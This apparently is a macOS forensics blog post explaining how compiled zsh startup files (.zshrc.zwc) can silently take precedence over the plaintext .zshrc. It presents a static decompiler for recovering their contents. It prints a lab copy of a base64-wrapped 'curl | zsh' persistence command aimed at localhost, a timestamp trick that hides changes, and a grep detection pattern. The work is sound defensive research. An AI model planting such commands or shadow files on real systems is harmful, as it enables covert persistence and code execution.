Shell startup files are well-known macOS persistence locations. In a recent MacSync Stealer/RAT intrusion documented by Huntress, the malware temporarily modified ~/.zshrc and appended a curl | zsh command. The goal was simple: when the victim opened Terminal again, the malicious code would execute in the new interactive zsh session.
So during a macOS investigation, checking files such as these should be standard practice:
~/.zshrc
~/.zprofile
~/.zlogin
~/.zshenv
Csaba Fitzl dedicated the first post in his Beyond the good ol' LaunchAgents series to shell startup files. But there is a small zsh feature that makes this slightly more interesting. These files can be compiled. For example:
And according to the zsh documentation, if the compiled startup file exists and is newer than its plaintext counterpart, zsh uses the compiled version. We could not find a public report describing malware deliberately using .zshrc.zwc for persistence in the wild.
Zsh provides the zcompile builtin for compiling shell scripts and functions into an internal wordcode representation. The extension is quite literal: .zwc = zsh word code. For example, let’s edit our .zshrc file (add this line):
print -r -- "I solemnly swear that I am up to no good" >> /tmp/zshrc_persistence
We can compile it with: zsh -c 'zcompile -R /Users/malmoeb/.zshrc'. With a single input file, zcompile creates: /Users/malmoeb/.zshrc.zwc. The parameter -R causes the compiled code to be read into memory rather than memory-mapped when loaded.
We now have both:
Open up a new terminal, inspect /tmp/zshrc_persistence. We see I solemnly swear...
Let’s modify the original line within our .zshrc file:
print -r -- "Mischief managed" >> /tmp/zshrc_persistence
The plaintext file now contains different code (Mischief managed) from the compiled copy (I solemnly swear). For a deterministic test, set the timestamps explicitly rather than relying on two commands executing far enough apart:
touch -t 202609151800 /Users/malmoeb/.zshrc
touch -t 202609151801 /Users/malmoeb/.zshrc.zwc
The compiled file is now newer than the plaintext file. Zsh’s source builtin checks for a corresponding .zwc file. If the compiled version (in our case for the .zshrc file) is newer than the source file and represents that file, zsh can read commands from the compiled version instead. That creates an obvious DFIR pitfall. Test it out! - You should still see I solemnly swear..`, despite the modification of the original file.
Imagine finding both files during an investigation:
You open .zshrc, and it looks completely harmless. That does not necessarily tell you what was present when .zshrc.zwc was compiled. The compiled artifact deserves its own analysis.
It is important not to oversell .zwc files as some sophisticated shell-code obfuscation mechanism. They are not encrypted. They are not designed to securely hide shell code. The zsh documentation itself warns against treating compiled files as a mechanism for concealing source code. Information required to execute commands remains present, and compiled shell structures can retain enough information for substantial reconstruction.
Comments, whitespace, and the exact original formatting may be gone, but the semantics of the code can remain highly recoverable. For an attacker, .zwc therefore provides obscurity rather than strong protection.
The first command I would run is zsh’s own zcompile builtin: zsh -f -c 'zcompile -t suspicious.zwc'
The -t option examines an existing compiled file. Depending on the file, output may look similar to:
zwc file (read) for zsh-5.9
/Users/malmoeb/.zshrc
Do not underestimate strings here. Because .zwc is not encryption, literal strings can expose URLs, paths, command names, arguments, filenames, and other useful indicators.
For example:
strings -a -n 4 suspicious.zwc |
grep -Ei 'https?://|curl|osascript|launchctl|base64|python|perl|ssh|/tmp/|Library|chmod|xattr'
For triage, this may already tell you whether the file deserves a closer look.
strings is useful for triage, but it only shows the literal data stored inside a compiled zshfile. It does not tell us how those strings were used. A URL might have been passed to curl, stored in a variable, used inside a condition, or simply have been part of a function that was never called.
To go a step further, the AI and I put together a small static parser and decompiler, zwc-decompile.py, for compiledzsh files.
The important part is that the tool does not execute, source, or load the .zwc file with zsh. It parses the compiled file directly. This is preferable when dealing with potentially attacker-controlled artifacts.
At a high level, the parser works through several layers:
.zwc container header and determines the zsh version, byte order, read/mmap mode, and the individual compiled entries.Meta encoding.zsh syntax.For example:
python3 zwc-decompile.py ~/.zshrc.zwc --strict
--strict is a parser-coverage check, not a proof that the reconstructed source is semantically identical to the program zsh would execute. It helps detect unhandled wordcode, but you should still validate important findings against the original zsh version and other forensic evidence.
The output below is from my actual compiled .zshrc. Notice that the parser reconstructs function definitions, commands, arguments, assignments, and redirections from the wordcode rather than merely extracting strings. A complete semantic walk means the parser reached all non-zero wordcode structures it expected to interpret.

A useful property for forensic analysis is that the parser tracks which wordcode words it consumed while reconstructing the script.
Using: python3 zwc-decompile.py ~/.zshrc.zwc --strict causes the tool to check whether any non-zero wordcode remains unreachable after the structural walk.
For debugging, the tool can also produce a word-by-word trace: python3 zwc-decompile.py ~/.zshrc.zwc --trace or machine-readable output:
python3 zwc-decompile.py ~/.zshrc.zwc --json > parsed.json.
Compilation is lossy. A .zwc file contains what zsh needs to execute the parsed program, not everything that was present in the original text file. Therefore, some information is gone permanently. The semantics may still be visible, but comments, original indentation, whitespace, and some choices in how the shell syntax was written cannot necessarily be recovered. For DFIR purposes, however, that is usually fine. The result is best considered an approximate reconstruction of the compiled zsh semantics rather than recovery of the original source file.
Even if the original .zshrc has been deleted or replaced, a compiled copy can retain enough structural information to reconstruct substantial parts of the shell code that was present when it was compiled.
Huntress did not publish the exact command appended to .zshrc, but described it as a Base64-wrapped curl | zsh re-pull. To reproduce the same structure safely in the lab, I used a localhost URL (http://127.0.0.1:8000/payload.zsh):
cat > /tmp/.zshrc-dfir.ch <<'EOF'
curl -kfsSL $(echo 'aHR0cDovLzEyNy4wLjAuMTo4MDAwL3BheWxvYWQuenNo'|base64 -D)|zsh
EOF
Compile it: zsh -fc 'zcompile -R /tmp/.zshrc-dfir.ch'
First round with strings:
% strings -a -n 4 /tmp/.zshrc-dfir.ch.zwc
/tmp/.zshrc-dfir.ch
curl
kfsSL
echo 'aHR0cDovLzEyNy4wLjAuMTo4MDAwL3BheWxvYWQuenNo'|base64 -D
/tmp/.zshrc-dfir.ch
curl
kfsSL
echo 'aHR0cDovLzEyNy4wLjAuMTo4MDAwL3BheWxvYWQuenNo'|base64 -D
Second round with the decompiler:
% python3 zwc-decompile.py /tmp/.zshrc-dfir.ch.zwc --strict
=== ZWC STATIC DECOMPILER ===
File: /tmp/.zshrc-dfir.ch.zwc
SHA256: 504ce8ab4505e1a491ded2e657d2b61a276896218c7f8a8cd65a3b782ecfed49
zsh version: 5.9
Byte order: little
Mode: read
Entries: 1
# ===== ZWC ENTRY 0: /tmp/.zshrc-dfir.ch =====
# wordcode=12 words, strings=77 bytes, semantic-walk=complete, raw-consumed=91.67%
# structural zero/sentinel words not consumed: 11
curl -kfsSL $(echo 'aHR0cDovLzEyNy4wLjAuMTo4MDAwL3BheWxvYWQuenNo'|base64 -D) | zsh
This is considerably easier to interpret than the raw strings output. However, even the simple string extraction already preserved most of the interesting indicators.
This raises another question: do common macOS forensic tools actually collect compiled zsh startup files? Surprisingly, explicit support appears to be rare. For example, Jamf Aftermath has a dedicated ShellHistoryAndProfiles artifact that collects shell-related artefacts, including zsh configuration files:
However, compiled .zwc counterparts are not part of the targeted collection. The same pattern appears elsewhere. mac_apt includes support for zsh history and terminal-session artefacts, but we could not find specific handling for compiled zsh startup files.
Even Objective-See’s KnockKnock now contains a dedicated Shell Configuration Files plugin intended to identify shell-based persistence. The project specifically mentions files such as ~/.zshrc, but we could not find evidence that the plugin currently examines compiled .zwc
counterparts. The zsh documentation points out that all of its startup files can have compiled counterparts, and if the .zwc is newer,zsh uses it instead of the plaintext file. That potentially means .zshenv.zwc, .zprofile.zwc, .zshrc.zwc, .zlogin.zwc, and .zlogout.zwc, including the system-wide equivalents.
The takeaway is simple: when examining zsh startup files, don’t stop at the plaintext version. A newer .zwc file may be the representation zsh actually consumes, and it may preserve shell logic that has since disappeared from the corresponding source file.
.zwc is not encryption, and it is not sophisticated obfuscation. From a forensic perspective, however, that is exactly what makes it useful: strings, commands, functions, and control-flow information can survive compilation and may be recoverable.
So if your collection includes .zshrc, .zprofile, .zshenv, or the other zsh startup files, make sure you also ask: where are the compiled copies? In other words: collecting .zshrc without checking .zshrc.zwc can mean collecting the configuration you can see while missing the one zsh actually used.
If you’d like to learn more about these kinds of shenanigans and how to spot them, I teach an anti-forensics course for incident responders, as well as a macOS forensics course.